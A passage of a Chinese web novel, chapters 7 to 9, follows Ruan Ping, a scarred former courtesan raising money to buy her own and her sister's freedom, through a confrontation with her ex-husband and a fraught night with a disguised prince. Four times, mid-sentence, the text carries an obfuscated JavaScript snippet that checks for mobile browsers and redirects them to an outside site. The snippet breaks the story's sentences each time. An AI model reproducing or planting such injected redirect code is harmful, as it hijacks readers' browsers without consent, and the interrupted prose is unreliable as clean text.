倒是在东屋榻上寻着一早晾晒干净收叠齐整的衣衫。在瞧见其中一件衣角还是前儿换下的小衣后，不由得整个人呆在当场。 这几日事忙，她都攒着好几日浣一次衣，连着两日早出晚归的，她根本都没留意这些衣衫是何时洗的。 愣了片刻，她抱起自己那一叠衣衫，嗅得一阵清新皂角气。 听得身后脚步响，猛地想到自己贴身的小衣也被他洗了时，不由得脸上一阵爆红。 刚要转身，恰好一头撞进身后人怀里。 “阿元，往后换下的衣衫你不要……”仓皇间触到少年热烫胸膛，嗫喏着要避开，话未说完，后腰一紧时，就被人抱了个满怀。 屋中光影黯淡，受制的错觉让她本能地想起从前不好的记忆，身子有一霎僵硬。 后腰上的手掌立刻松开，他将人朝窗下带了些，忽然伸手沿着她右颊长疤抚下来，或因习惯性地判断旧伤深浅，他目光如炬，微扬着的桃花眼里显出三分探究，更多的则是情真意切的痛惜。 “家中的确算不上多富庶，要凑一百五十两总还只多不少的。你若不信，往后粗活就都交由我，你只管安心缂丝。银钱上，真的不必太焦心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659136|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顿了顿，似欲言又止，他又替她顺了下鬓边乱发，像是下定了决心般，打着磕绊却没有避讳地直视过去：“阿姐，其实我……” 后头‘心悦’二字尚未道出，身前人猛退一步，在他还来不及将她反应看清前，便已经背过身去。 她脊背孱弱却清正挺直，背着身，竭力压下不断起伏的呼吸，开口时目中水雾朦胧：“你吃醉了快歇去吧，王嫂子七月七婚仪，我也该去送些贺礼。” 话没说完，她便飞也似地奔了出去。 等她抱着匹松江布躲到小溪边时，一颗心反倒跳得愈发嚣张狂乱起来。 顺小溪一直走，花雕劲头上来，连鞋底裙边沾了水都未觉，溪流转弯尽头，眼瞧着再过一大片竹林就是王嫂子家时，蓦然觉着面上湿凉凉的。 信步入林，竹叶森绿清凉，她还以为是错觉，伸手一抹，却是满手的泪。 望着自己被粗活绣针磨得起皮的掌纹，水色顺纹理淌动，唇畔错愕地虚张着。先头那叫人难受不安的妄念羞氖，直到这一刻，才终被不可置信的震愕掩过。 她驻足往右颊抹了下，似在分辨回味，被他指节抚过的残温。 翠竹沙沙，清人心目。她忽极短促地惨笑了下，两下里挥干净脸面。 她想到他调侃王嫂子再婚时的神情，想着他的确就是那等世上少有的良善子弟，可也就是年岁小，等他年岁长些，或真晓得瘦马院里的腌臜勾当了，只怕瞧她要比瞧王嫂子还不如百倍呐。 她是立志要脱籍好生过日子，可心里也清楚，于姻缘二字，自己早已是烂到尘泥里的人了，世间好儿郎原就罕见，又怎会落到她头上去。 尽管是饮了酒，可步出竹林时，阮苹就已经把才生的那一点子妄念全数撇干净了。 到王娇儿院墙外，正是酒意最浓，晕乎乎的。见后院柴门虚掩着，她盘算着明儿开始每日最少的缂绣量，因往常来时，王娇儿寡居一个，也就习惯性地推了门就进。 一直到跨进后院，里屋男女咿呀喘动调子愈浓，她还只沉浸在二百两的账目里，糊里糊涂地就要往堂屋走。 一只脚才跨上阶，嘴上忽被人捂了，身子一轻，连叫一声都不曾就被人朝柴房檐下扯去。 还未惊问挣扎，耳边热意拂过，听出来人后，她松弛了身子陷入身后人怀里。 里屋酣战似乎是到了最欢愉处，不再是方才推门时的压抑低吟，有放浪喘动透窗溢出，一声声极清晰地传过来，似哭似笑，哀求里混着好些混账话。 就算是再不善饮，就凭两人藏身处的距离，她终后知后觉地意识到里头正在发生的事，一时间尴尬难受得无可如何。 在那一声声交叠着的叹吟里，她僵直着身子慢慢抖得不成样，待回神觉出腰间作乱的手后，她也不知何处来的气力，猛回身掰开他的手，将人重重推了把。 也就是这一丁点响动，里屋男声止了，听得门板掀动，阮苹忙摇头做口型急急挥手：“你先走！”北边没打胜，他这个‘逃兵’还是少见人的好。 晏浩初挑眉，他知道里头人是谁，也不愿暴露自己身手，索性就立着没动。 王嫂子后院甚阔大，随着屋子里人脚步愈近，阮苹也意识到是来不及了，她只好忙把布抱高些，一头闯了进去，试着用自己挡一下。 在里间槅门处，迎面就撞上一年轻男人。 男人眼风扫过后院影子，一张脸倒不见欲色。他拢着衣随意朝阮苹点点头，反身就往前院避去。 7. 污秽 屋子里王娇儿难得一脸娇羞，她满面春色地边拉衣带，边往外走。见是阮苹，想着她大难不死自己却一直没敢去看望，心中既愧疚也尴尬，只好扬声调侃：“又带东西来，你家小墨同你一道来的啊？” 阮苹垂下眼，笑着岔开话：“我一人来的，挑了匹棉的，你不要嫌弃，裁两身冬衣正好。” 王娇儿三年前冬天从淮北逃荒而来，来的时候一家人染上伤寒，饥病交迫，丈夫幼子都没熬过去，单就剩了她一个寡妇。 原本要投水寻死，奈何她水性极好，自己又游了上来，也就索性不寻死了。 犁地开荒，结网捕鱼，这妇人哪样都学一点，就靠自己一双手，竟硬生生一个人在这渔村西头扎了根。 王娇儿快有三十了，又是每日里风吹日晒的，是个黑里俏。她身量高挑丰腴，一个眼风抛过去，也不乏有媒婆上门。可她偏靠自己过起日子，就是没再新寻个男人。 这妇人性子爽利，即便经历了丧夫丧子的这样痛彻心扉的人世大苦，为人也依旧存了些心善爽朗。 她养的鸡鸭好，捞得鱼也肥，碰着阮苹也是个肯吃亏的，两个性气相投，便时常互赠互换些日用。 这一次，一场官司又为了脱籍的事，阮苹倒有日子没来她家。 上回还是五月初，王娇儿一气儿网了十几条鱼，喊她来抬走了一缸鱼呢。 一缸鱼，至多也就是百八十文的价钱。王娇儿闲了爱饮两口，照往常差不多也就回条竹席再加坛酒就是了。 可这一别才月余，她竟也从流民堆里捡了个男人回来，连七月七的婚期都定下了。便是再穷苦人家，总归是贺婚仪的礼，阮苹才特意去绣坊挑了匹上好的松江棉布。 这一匹，江南市价能卖一两上下，她从绣坊织布的娘子手里买，费了七钱。 放下布，略寒暄了几句，想着自己到底是背过谋刺公爹的罪名的，阮苹以为王娇儿在意，遂连口茶也不敢饮，就要告辞家去。 却被王娇儿拦下，她一手抱着一大木盆的脏衫，笑呵呵地另一手提溜了把胡琴出来，见对面女子发愣时，往她手里一塞：“你往前那一把不是叫孙屠子那夯货当柴烧了嘛，就前两天，有个货郎往县里卖剩下这一个，路过叫我拦了，说是他自家胡乱斫的，叫我软磨硬泡，才卖了三钱银子，兴许入不了你的眼。” 一把不知名木头斫的胡琴，黑鱼皮蒙的琴筒，琴杆长短也并不标准。 阮苹把它提着看了许久，指尖细抚过丝弦时，一颗心没来由安静下来。 自进了孙家，那家子说抚琴不挣钱，便把她旧琴劈烧了。 反正回去也要纠结，又饮了酒不好缂绣。她熟练地去院里抓了把皂角豆，便陪着王娇儿一同去湖边浣衣。 到了湖边，日头正是最晒的时候，粼粼湖光照得人睁不开眼。二人朝湖岸有树荫的一处石头坐了，王娇儿捣衣，阮苹调琴音。 绑千斤、上松脂，紧弦置码。两人随口相叙了各自遭际，王娇儿捣得一头汗，困累间眯着眼哼起了小调。 是近来酒肆里流行的一首‘相思引’，王娇儿字都不识，也不晓得这曲子含义，不过担鱼去卖时偶然听了，她觉着好听，就把里头一段记熟了。 只翻来覆去，并不完整，又兼她粗哑嗓子哼出，调不成调。 阮苹修整完胡琴，远眺向浩渺热烈的太湖，只神色温和地仔细听她哼。 待王娇儿一盆皂角都搓遍，调子偏到爪哇国时，她左手扶把右腕支起，苍凉琴音潺潺而泄。 这曲子说的是有情人隔山海，算是悲曲，只从头到尾，九分都在说相思，用音多低沉简素，因此阮苹哪怕只是听过三四回，就能略作改编地重演出整首。 一曲奏完，偶有间断，便把那缱绻炽烈近乎壮阔的恋慕浸透人心，把个王娇儿听得抹眼泪，挑问道：“二百两可不是开玩笑的数目，诸葛大夫总归比普通人家能攒些，小墨年底也该满十四了吧？你莫怪嫂子浑说，那孩子是个过日子的，你说这世上过日子又好性的男人能有几个！？” “你今儿喝酒来寻我白瞎！听阿嫂的，人家若嫌你冷你，也都是那兔崽子装腔的。下回喝酒，等老大夫不在，你同他单独两个，你就去……” 眼见的王娇儿愈发说的不像样，一记粗响琴音嘎然而起，阮苹翻指如花地一气儿顺过四个把位。 树影摇移，琴音宣情。阮苹从小真正好的也就这胡琴，此刻酒酣半醒，蝉鸣唧唧，热风拂面，因一向说不过王娇儿，耳边聒噪，她停指待发，忽侧首俏然一笑，揶揄着轻答了一句：“阿嫂啊，你操心太过。可惜，我不但和那孩子没戏，说不准啊，我都不喜欢男人呐，哈哈。” “你这小妮子，可别瞎看，老娘可是还有一月多就要成婚的人！” 弦音伴着蝉鸣，斗转起复，虽无一言，听来倒如个上百岁的老者在厉数人世悲辛，泣血沧桑里又转作寥落释怀。 不单王娇儿听得入迷，在她们身后一棵参天古木极高处的冠盖上，晏浩初还是那身干活时的麻衣短打，曲腿凌坐树顶，捏着张字条亦听得有些出神。 胡琴这件器乐，他听不大惯，也从没见女乐奏过。只是阮苹这几弦，让他眼前似现巍山河阔，叫他禁不住慨叹从大梁宫闱到北地疆场的种种险恶。 视线从下方收转回字条，这是方才从尹七处得的，上头是叶知障亲笔，报的是彭城斩俘敌首三万的大捷。同瓦剌的和议也将达成，待清算收拾过，徐坚回了金陵，至多二旬，就会有亲兵来迎他。 这一口气松了，他再瞧树底下人时，就不由得对自己的疑心觉着可笑起来。 叶知障都把探子引去南边了，他竟还要将戏做十分，真个在这僻静渔村演了这么久的落魄商贾，洗衣劈柴，甚至还想小意诱哄讨好这么个女子。 睥睨眼底泛起冷，晏浩初听着和那尹七有染的村妇聒噪，心里泛恶寒，头一回觉着尹七不容易。 也罢，养精蓄锐再待上十日，回了金陵朝堂也还有一场死决。 到时候若还记得，就随便吩咐个人，给她送个五百两银票也就两清了。 闭目养神之际，听得树下琴音说话声突然都止了，移目瞟去，但见二女都立在石头上，正对着东边小径，来了个眼生的着儒衫的男人。 正是孙家独子——孙三郎孙世贵。 “娘子，我有两句私话要说，可否让这位嫂子回避下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659137|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 孙世贵才出城役，倒把儒巾都带上了，他是捡着孙家夫妇的优点长的，今年廿四岁，宽袍缓带得一拱手，乍看去，倒还透出两分秀才风骨来。 只是阮苹同他做过几个月‘夫妻’，又一处屋檐吃住三年，实在是太晓得这副皮囊下的卑劣刻薄。 还不待她反感纠正他的称呼，王娇儿率先把湿衣‘啪’一掼，叉着腰跳起来哼笑抢白:“我往哪儿回避？你给老娘洗衣服?我说孙郎君怕是又来要钱去找窑姐吧。” “与你何干！”孙世贵上前同王娇儿开辩，阮苹不愿牵扯旁人，提着胡琴挡下：“我已和姨母去县衙立过字据，等五年期满，从此与你再无瓜葛。我赶着回药庐，表兄有什么话，就前头说了。” 说着话，当先就朝小径要往竹林穿行回去。 孙家母子脾性都软怯自私，除了孙屠户，阮苹从来就没怕过他母子两。 进了竹林，在孙世贵死皮赖脸的一番白话劝告后，阮苹才明白，原来他是知晓自己缂丝的价钱，又风闻了她可能与个大官有故交，起了贪念。 “都是我爹那老东西腌臜无状，这次竟险些害得你丢了性命。为夫想明白了，往后就同那老货分开过……苹妹妹，你让我有个赎罪的机会可好，我可是真心想同你再续夫妻缘分的。” 两个一路穿林走着，无论孙世贵嘴上说出花来，阮苹始终还是那一句：“立了字据，二百两，多一分你也别想。” 眼见着快要出竹林到有人烟处，孙世贵恼羞成怒，盯着她的背狠剜两记，突然上前一把强抱住她的腰。 还不待阮苹回身反击，他却双膝一软，抱着女子布裙‘砰’得跪在地上，哀戚道：“表妹，家中没有你真的不行啊，都说了和我爹那老货分开过了，你干嘛非要走？就看你这张脸，还想着找别的男人啊！” 话没说完，脑袋上就见把胡琴高高对着，孙世贵一下松开手，连爬两步起身，见她连话也不答转身就走时，他当即跳脚叫骂起来:"丧良心的，当年勾着我救你出火坑的下贱样儿都忘了吗?这会子一匹绣能卖六两了，就想着把你姨母表兄都扔了。想拿二百两就开销我们，你个贱骨头想得挺美，反正五年凑不够，你就永远是我娘买的奴！哼哼，阮桃露那死丫头这次害的林家小姐磕傻了脑袋，我看你有多少钱先去救她。” 孙世贵骂功了得，絮絮叨叨追魂似地指着她一路说。 她在前头漠然走着，正想着索性再动手吓唬他一番时，就被最末一句定住了脚。 妹妹桃露在林家做四姨娘，而林家只有一个七岁的小姐，是三姨娘所生，是林员外的心头肉。 她的手有些拿不稳琴，猛然间回头，用一种极阴冷荒颓的眼神死死看着孙世贵。 见孙世贵眉眼斜溜着避开，她启唇轻道:"表兄且忍个几年，二百两不会少，足够你到时候……睡死在窑子里。" 看着孙世贵甩袖离去的背影，晏浩初指节碾动，透过洒落的字条尘屑，目光泰然地望着女子身影。 原来还是个酒色之徒玩剩下来的东西，真是污秽。 日影将西，见她步履匆匆地往县里赶，他也懒怠多管，足尖轻点就自顾往回去了。 8. 吻 六月中的黄昏闷热异常，厚重云团压着天幕，屋子里的人揉揉酸涩山根，天色昏暗，她不敢托大，起身一气儿燃了三盏油灯，把缂绣架重上十股颜色，绞一把冷水帕匀了面，又坐回缂架前。 一连四五日，阮苹都这样躲在西屋里，不停地缂丝。 从那日强行拜访过林家后，她就似一只枭鸟，简直不眠不休，没日没夜地缂一匹外销定制的百鸟朝凤的锦缎。 这一匹说是天竺国的贵人来订的，要用十九样丝线，其中有一股随光线温度变色的线，要缂蝶翅，买主要求一日之间，蝶翅色泽开阖变幻四次。 至今绣坊里还没人缂出样品来，管事娘子说了，谁能缂出第一匹样品的话，一次付清十五两银子。 桃露这次真的闯了大祸，林家已经打算终止佃妾的契，要发卖了她呢。说是卖不到六十两，会直接送回潘妈妈处。 阮苹这两日四处兜转筹钱，卖了草屋里的绣品存货，想尽了办法，也只勉强凑卖到十七两。 里头十一两，还是问诸葛洪、王娇儿借的。 汗珠浸透背心薄衫，这匹百鸟朝凤变色绣极难缂，她昨儿一夜只挨着榻打了个盹，连半个时辰也没有。 有叩门声响起，她眼皮也不抬地应了声，外头晏浩初就推门进来，把一个只有两个窝头的碟搁到了案上。 也是从那日孙世贵来过，她连夜去县里林家查证回来，这人就陡然冷下来，倒还是劈柴洒扫，只是浣衣的时候不带她的，劈竹子也只研制些弓弩。 尤其是，他几乎不再与她主动说过话。 可那一日，他分明像是要对她诉情的。 “多劳了。”阮苹无暇分神，她运指如电地缂着，一整个下午，就快将半只蝶翅缂完了。 还有三日就要离开，晏浩初觑眼扫过她拼力奋战的绣架，想要开口说些什么时，到底只略顿了下，便一字未答地就掩门走了。 就是这掩门的一下，阮苹指间一乱，势头未止，将一根蓝色丝线提得过猛了，‘咔’得一声绷断了线。 她当即倒抽口凉气，猛一下子立起，连凳子带倒了都不觉。 这可是天竺贵人订的缎子，线头断过再接，管事娘子何等眼力，是万万不可能收的。 她这是怎么了，为了个救下的公子哥儿乱了心？十五两银子，这下可好，绣坊能用五两来收就不错了。 林员外看着宠桃露，实则新鲜劲过了，又知她能缂绣挣钱，那样精明的人，哪里是个好相与的。即便她赶在林家发卖桃露之前真凑够了六十两，桃露年轻娇美，发卖的价钱就真只是六十两吗？ 还有，就算真的先让妹妹脱籍自立了，可往后，她既要还凑借的六十两，又要替自己攒二百两巨款。未得的一百五十两终究不确定的，万一再添些旁的事，她便是再多两双手，都来不及。 对着缂坏的蝶翅，困累如山倾覆。 天命要她活着，又实在残忍。永远都是这样，要她拼尽了全部力气，险之又险地越过一处处泥沼，然后又把她按倒下去，又用一线生机在头顶悬吊着。 难道真是她上辈子做了孽，这辈子要活活累死才得偿还么? 若永远就在尘泥里也就罢，可这一回，离着自由也就一步之遥，可怎么算，她都没法子只靠自己在五年里变出二百六十两银子。 她都毁了脸，筹谋挣扎了这么多次，若是还只能过任人摆布看人脸色的日子，那她这辈子，也实在太残酷了。 从暮云沉沉到雷鸣炸起，阮苹在西屋缂架前足足沉吟了二刻多。她就那么状似木然地立着，一直到两股发僵，忽然颓丧惨笑，翻出榻底藏着的一壶果酿，就朝东屋去了。 王嫂子说的对，这世上气性好的男子本没几个，若遇着时，切不可太多顾忌迟疑。 她也把一副身子守了快三年了，不管东屋里的那个真心还是假意，她这一辈子，都是不可能再遇着比他更好更有家业的人了。 心意什么的，又哪里有银钱要紧。 也不想登堂入室要名分了，反正她的身子也不值什么，只要先有六十两，不至于让桃露再被卖回那火坑里，后头的事才有指望。 跨进东屋的门槛时，晏浩初正在画苏湖附近的水战图纸。因常年随军，他对吃喝没要求，这两日阮苹闭门赶活，他一心等着亲卫来迎，连灶火也懒得开，此刻手上也拿着个窝头在啃。 “何事？”卸去戒备，他一开口，仍不觉带上了三分威压。 见他也在吃窝头，阮苹提着酒，局促道：“翻到瓶果酿，一道饮吧，我去弄两个菜来。” “不必麻烦，有话直说。”他目色幽幽地盯着她后背，猜着了些她的来意，只是语意冷淡，并不关切。 饶是他这么说，阮苹还是快步去厨下翻了一圈。她心中木然慌乱交替，因一贯也是爽直聪明人，也没让屋里人等，只剁野菜煎了两个蛋，又去酱菜缸里夹了碗酸黄瓜。 盏茶功夫，她就端着酒菜放到了东屋窗下的竹围榻上。 晏浩初虽已吃光了三个窝头，腹中没有油水，到底还是不够的。他放了图纸，信步走到窗边。 焦黄油香的跑蛋里，搁足了野菜末，酸黄瓜上沾着蕊黄的桂花蜜，简简单单两小碟，足能勾动腹中馋虫。 接过女子素手递来的一盏果酿，他一口饮下，桃花眼里略微漾起些温度，放了杯，就这么近前立着盯着人打量。 其实他是知道她近来的难处遭际，恰好尹七身上带了五十两银票，他原本想走的时候再留给她。 见身前人被自己瞧得攥紧衣襟，他不由得起了两分警惕。 难道他和尹七见面的事，被她给察觉了？ “北地战事胜了。”她启唇声调有些干哑，沉浸在自厌里的人，没有觉出对方陡然再起的杀意，她将人让到竹榻案几的另一侧坐了，连饮两盏后，眉眼低垂着继续问：“阿元，你是自己走，还是家中叔父来接呢？” 她未曾解释是从一个游商口中得知的这个消息，晏浩初短暂惊疑后，就从她晕红着脸问的第二句话里释疑明白过来。 他故作欣喜地满杯饮尽：“真的胜了？！家中还没来过信呢。” 即便是伪装，他笑起来梨涡隐隐，剑眉星目里兼杂了少年人的天真。 阮苹两盏下肚，已有些不胜酒力。她眼神闪烁着，还是偏开眼，问：“你上回说酬谢……一直不好唐突问，你说的酬谢，家资会否损折过多？” 这是在打听家业了，晏浩初眼珠往她身上一溜，想也没想地说反话：“唉，祖父辈原本还行，也有个四五间铺子。到这一辈么，连年没个太平，也就剩了一间布庄，账面一月里应该也有个十余两进出的。” 原来是这样行商人家，那家财也就只比普通货郎农户好些而已，大约连开生药铺子的林家还要差得远。 “阿姐是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659138|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心，我家凑不出一百五十两的酬谢？” “不不。” 她低头斟酒，因陡然得知他也并非自己想象的巨贾，本来坚定的心智不由被杂乱浮起的妄念催搅着。 眼前少年生得好，又性情温煦会照拂人，就算她遍踏人世荆棘，遇上这么一个人，要说全然不动心，才是自欺欺人。 倘若他家真比林家差的远，她与他，是否就能有一丝可能？ 这妄念才生，都没成型，就被打散无踪。 喉咙里有些辣，她又往二人跟前的杯盏里倾满酒液，平生第一回觉着，原来果酿清甜回甘，并不难喝。 西天边雷声滚滚，暮色在云隙里投下一抹青灰，又闲话试探几句后，晏浩初已经在她面前立稳了小商户的家世。 她半点不曾疑过。 焦香的野菜跑蛋吃完了，对着还剩大半的甜腻腻的果酿和欲言又止明显染了醉意的女子，他有些不耐烦了。 此番他一回去，说不准齐王狗急跳墙，苏湖一带若要起战事，大约水战是至关要紧的。 “雨就要下了，不去收竹子吗？”他扫一眼远处灯烛下压着的水战图纸，扬唇含笑放了筷。 阮苹自然听出了他话中赶客意味，晓得不好拖了，她一反常态地不答话，起身绕案径直走到他跟前半步。 一立一坐，少年笑意尽散，看她秉气仰首饮尽壶中酒。 空壶在案上滚过半圈，被他顺手按住。 有数滴酒液蜿蜒过颈项，滑入她单薄领口。 超出掌控的事，向来都会让他警觉不适。 他故作随和地扶正酒壶，凉薄笑意再起，不停地思索她的意图来。 便在他斟酌着要发问时，女子更近半步，她的膝几乎贴上他的腿，用最正派的语调说：“阿元，今天夜里我同你一处……可以吗？” 调子轻若云雾，几乎辨不出字句。 他整个人顿愕住，疑惑间朝她望去。 就见女子晕红着面，烟柳似的眉下一双潋滟含情的丹凤眼，就同她这么一对望时，只觉那双眼会吸人魂魄一般。 分明是寡淡清素的一张脸，此刻昏暮灯暖，就连眉心右颊的两条伤疤，都似没那么触目了。 少年掩饰着讪笑了记，口中说着：“下了雨凉，阿姐是该多抱床被褥去。”视线却不受控制地去朝她周身溜一圈。 瘦马出身，她再蠢直，也断不会漏过他眼底真实的兴味。 曾经的厌恶惧怕在这一刻却没有，有欲就好。这样体面温厚的儿郎，若她原本困在院里也是一辈子遇不着的。 小商户人家，往往才是最计较银钱的。 一百五十两她不敢奢求，就赌他心性不坏，有过肌.肤之亲，得个几十两酬谢，她也知足。 潘妈妈有一句话说的很对：“倘老天哪日里瞎了眼，派发个良人下凡，姑娘们不要，就来喊妈妈我去！” 定了主意，一颗心忽觉似要跳出腔子去。 简直比那夜扎伤孙屠户还要艰难。 她忽偏开半步，在对方眼波疑惑的凝视下，一个旋身踮脚竟是侧身坐到了他膝上。 透过单层的夏衫，轻抵上他坚实热烫的胸腹时，她愈发拘束不适，视线交触的一瞬，便又起了深重自弃。 觉出少年似冷下脸，她猜度着他或是第一回，不愿坐以待毙，忽壮着胆子挽在他项侧，仰头朝他下颌啄了记。 9. 心乱 一连串炸雷像是要轰塌了天去，几道照彻天幕的银索接连劈过，东屋窗下二人无所遁形。 像是被雷声震了，晏浩初整个人呆坐着，怀中女子没了动静，他也就等着，没人率先开腔。 直到雨声扑簌着在屋檐打落，阮苹觉出他伸手拥了自己，便视线飘忽着地将檀口凑近，却始终也没能把想好的‘衷情’诉了。 若蜻蜓点水，她壮着胆子勾着人项子轻吻上去。 见他不拒不迎，因熟知这人温吞和善的性子，她还以为是他不愿，在苦想推拒的漂亮话呢。 正想着放弃退开，后腰猛一下被托紧，一个生涩炽热的吻铺面压来。 唇齿交缠间，舌尖传来一阵锐利的痛，她骇然睁眼，触到他眼底一划而过的抱歉后，便见他轻阖上眼，愈发热烈地缠吻上来。 晏浩初自己也惊异，他一向自诩冷静持重，根本料不到就被她这么一沾时，便失控了一般。 掌下腰肢软似水，他闭上眼由欲.念牵着走，心中惊异外也掠过二分难堪。 她唇上有桂花蜜的香甜，软得水豆腐一样。 他觉着自己真是发了昏，或许是见惯了此女平日死气沉沉的执着模样，他只是好奇她沉沦动情时的神态。 他渐渐克制不住自己的力气，恼恨暗生，甚至开始怀疑她是不是在酒菜里下了药。 呼吸受制，阮苹觉着自己要溺毙过去，她想推开人缓口气。 却突然膝弯下被人捞起，整个人失了重心，离地半丈得凌空起。窗外裹挟了雨腥泥气卷入，她大口呼吸着，一晃神，已被他横抱着到了榻边。 没有言语，无有交涉，同她设想中的温柔全不一样，少年将她放倒榻上后，粗粝滚烫的手掌就摸索着往她腰带间钻。 身上分量重得她喘不过气，天边电光劈过，一阵潮湿沁风突然吹熄油灯。 屋子里一下子只剩了喘息潮热的黑影，一如从前被人绑着行事的夜晚。 少年未经人事，又是常年习武出身，动念时便毫无章法。 屋子里闷热黢黑，枯索麻木的一颗心忽然酸楚闷痛起来。阮苹身子发僵，从前院里学来的一样也施展不来，无端端只想落泪。 理智告诉她何必如此？ 却无论如何也压不住，肺腑五内百感如焚。 听得身下压抑低泣，少年停下动作。 平生未有过此等燥乱难捱的时候，她将他勾起兴，又要故作姿态地抗拒吗？ 他试图忽略身下女子的反应，天边又一道银索劈过，恰好照亮她近在咫尺的苍白小脸。 清泪划破长疤，他心里厌嫌，胸膛起伏着，却在这一刻生起从未有过的荒唐念头——好一个装腔作势手段不俗的女子，作侍妾的话，也不知会不会被言官弹劾。 这么想着，他揿着身下人细若柳枝的腰，小心伏下去，一次次顺着鬓边，讨好安抚一样。 他哄着她，用足了耐性，动作温柔地好像在哄受惊的幼儿。 她何曾受过男人如此照拂，如长寂万古的漆黑夜空里划一点星辰。 单这一点微茫，便叫她不合时宜地再生诸多妄念。 随着妄念一并起的，则是本不该有的希冀和贪求。 她一下抓住他的手，轻声问：“阿元，月末前你就会走吧。” 少年只含糊''嗯’了记，便又犹豫试探着想要继续… 她不再拒绝，可周身明显僵着。 心口似有石头堵了，他停下动作，撑手将人拢进怀，目中是绵密阴冷和不耐。 她是为了银钱，她是忧心他不会兑现酬劳？ 倒是个傻的。 倘他连救命之恩都要赖了酬谢，她缘何认定，多了层‘发肤’的交情，酬谢就跑不了了？ 女儿家的古怪心思，晏浩初也懒怠刨根问底，一个出身卑贱的瘦马罢了。 今夜她来投怀送抱，她那么爱银钱，他便如她的愿就是。 平复下心境，他终是松开手稍整了下衣衫离榻，燃了油灯，走到屋中唯一的一只低矮箱笼边，蹲下身在衣服堆里翻找起来。 阮苹身上则乱多了，衣衫都被扯落了大半，夏日麻衫薄，她半坐起身，发现裙裳的两处系带和左侧一大片都被扯裂了，便只好以手作带，暂将衣襟掩住身子。 无措、羞耻、晕醉之外，她身子微微发颤，暗嘲自己无用。 这境遇，竟比从前走投无路，还要难堪不适。 她真的累了。 可筹不到六十两，桃露就一定会被发卖。 过了七月初三，桃露也才十六，若是真被卖回了院子里，千人枕万人尝，她真是不敢去想。 正眉愁目哀之际，一张盖了红泥宝印的纸挡在眼前，害她捏在衣上的手抽抖了记。 抬眉飞觑过上头，似见少年额角沁汗。再定睛一瞧时，但见那竟是一张五十两整的大梁宝钞。 穷人家都是攒几吊钱再换了整碎银子回家藏好，这样的宝钞通常都是商户做买卖用的，嫌着背几百两累赘，带一摞宝钞不占分量。 穷人家不一样，莫说多少人一辈子家里攒不齐五十两整，就是年景好一时攒够了，好些人家也情愿把银子分了几份藏在家里。 五十两的宝钞，她这辈子都未经过手。 她颤巍巍伸出一只左手，小心地从他手里接过宝钞。 顺着边缝的纹路抚上去，左侧被扯坏的衣襟掀起，腰间雪肤若隐若现。 她就这么歪垂着身子，醉意朦朦地说不出话。 眼见着衣衫要松，少年转开脸，言简意赅道：“前两日家中托人送来的，你不必……另一百两，下个月我遣人送来。” 单有这五十两，桃露被发卖时，她就有把握将人买下了。他还说另外一百两也会送来，连孙家要的一半身银也有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659139|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陡然间解了困，直如绝处逢生。 从没有人这样待她，况他也不甚富裕。 她垂着脸，哑着嗓子说：“阿元，对不住，我、我方才……” 她慢慢松开手，朝前一步，瞧着是要继续的意思，只身子抗拒得发抖。 再前一步后，连她自己都厌烦了，说不清到底是怎么了，一时间悲从中来肺腑酸彻，忍了再忍，她死咬着唇，决心不能再发一声。 她将宝钞好生压在远离灯盏的案头，回过头不再犹豫地解衣，语调悲中带媚：“阿元，你好生抱一抱我。” 晏浩初把这一切看在眼底，在她伸手又来拉他时，他目色沉凝，没有回应。 思及这段时日以来二人的相持照拂，他也算对她的身世心性了解透彻。 入了魔一样，忍不住便要想——倘或是他挨着这样出身，会否比她过得更好些。 这念头一起，他就在心底嗤笑起自己。 世间数理，万事万物逃不过。人亦如是，尊卑贵贱，大抵是生来就注定的。古来改命者，无一不代价惨重。 他自幼醉心权术，苦心孤诣都至今未能功成，似她一样的贱民蝼蚁，又凭什么那样执着，凭什么与天去换。 自嘲一番仍挥不灭零星恻隐，他叹喘了记，单手将人拥进怀里。 没想到，他讨好父皇的本事，会全套地用到一个女子身上。 倒没有再似方才那般，反是抬手朝她背上轻拍着顺气。 